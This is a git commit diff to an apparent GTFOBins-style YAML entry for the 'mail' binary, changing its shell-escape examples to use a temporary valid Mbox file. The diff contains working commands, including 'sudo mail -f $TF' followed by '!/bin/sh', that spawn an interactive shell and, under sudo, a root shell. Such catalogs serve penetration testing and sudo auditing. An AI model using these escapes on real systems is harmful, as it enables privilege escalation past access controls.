Use valid Mbox file for mail

This commit is contained in:
Emilio Pinna 2018-06-17 11:28:23 +01:00
parent 06966c8cd4
commit 7fa5b1e16e

View File

@ -1,11 +1,17 @@
---
functions:
execute-interactive:
- code: |
mail -f /etc/hosts
- description: This creates a valid Mbox file which may be required by the binary.
code: |
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
sudo-enabled:
- code: |
sudo mail -f /etc/hosts
- description: This creates a valid Mbox file which may be required by the binary.
code: |
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
sudo mail -f $TF
!/bin/sh
---